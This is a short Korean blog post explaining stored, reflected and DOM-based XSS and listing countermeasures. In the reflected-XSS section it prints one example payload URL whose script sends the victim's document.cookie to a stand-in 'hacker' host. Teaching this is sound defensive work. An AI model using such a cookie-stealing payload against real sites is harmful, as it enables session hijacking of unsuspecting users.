XSS(Cross-Site Scripting) 공격

00SNU3K·2021년 8월 6일
0

1. Persistent(or Stored) XSS

img

  • 웹 애플리케이션에서 일어나는 취약점, 권한이 없는 사용자가 웹 사이트에 스크립트를 삽입하는 공격 기법

    • 악의적인 사용자가 리다이렉션 스크립트를 주입하여 중간 경유지로 활용

    • 사용자의 쿠키를 탈취, 세션 하이재킹(Session Hijacking) 공격 수행

2. Refelected XSS

img

  • 사용자에게 입력 받은 값을 서버에서 되돌려 주는 곳에서 발생

  • 되돌려 주는 곳에 악성 스크립트가 삽입되면 서버가 사용자의 입력 값을 포함해 응답해 줄때 스크립트 실행

  • 보통 악성 스크립트와 함께 URL을 사용자에게 누르도록 유도하고, 누른 사용자는 악의적인 스크립트가 실행되며 공격 당함

예를 들면, GET 방식으로 검색기능을 구현한 웹 애플리케이션에 XSS 취약점이 있음을 확인한 해커는 공격코드를 작성함. 편의상 URL 인코딩은 하지 않음.

http://testweb?search=<script>location.href("http://hacker/cookie.php?value="+document.cookie);</script>

악의적인 스크립트를 살펴보면 검색 인자로 작성한 스크립트를 넘겨줌. 해당 스크립트의 내용은 본인의 웹페이지로 URL을 클릭한 사용자의 쿠키 값이 전송되도록 되어 있음. 링크를 클릭한 사용자는 해커한테 본인의 의도와는 상관없이 자신의 쿠키 값을 전송하게 됨.

3. DOM based XSS

img

  • 클라이언트측 코드가 원래 의도와는 다르게 실행

  • 다른 XSS 공격과는 다르게 서버 측에서 탐지가 어려움

  • 특수문자 # 이후의 값은 서버로 전송되지 않음

대응방안

  • 입출력 값 검증 : XSS에 대한 필터링 적용

  • XSS 방어 라이브러리 : Anti XSS 라이브러리 많음

  • 웹 방화벽 사용 : 웹 방화벽은 웹공격에 특화되어 있기때문에 XSS 뿐만아니라 Injection 공격 방어 가능

profile
네트워크 전문가를 꿈꾸며

0개의 댓글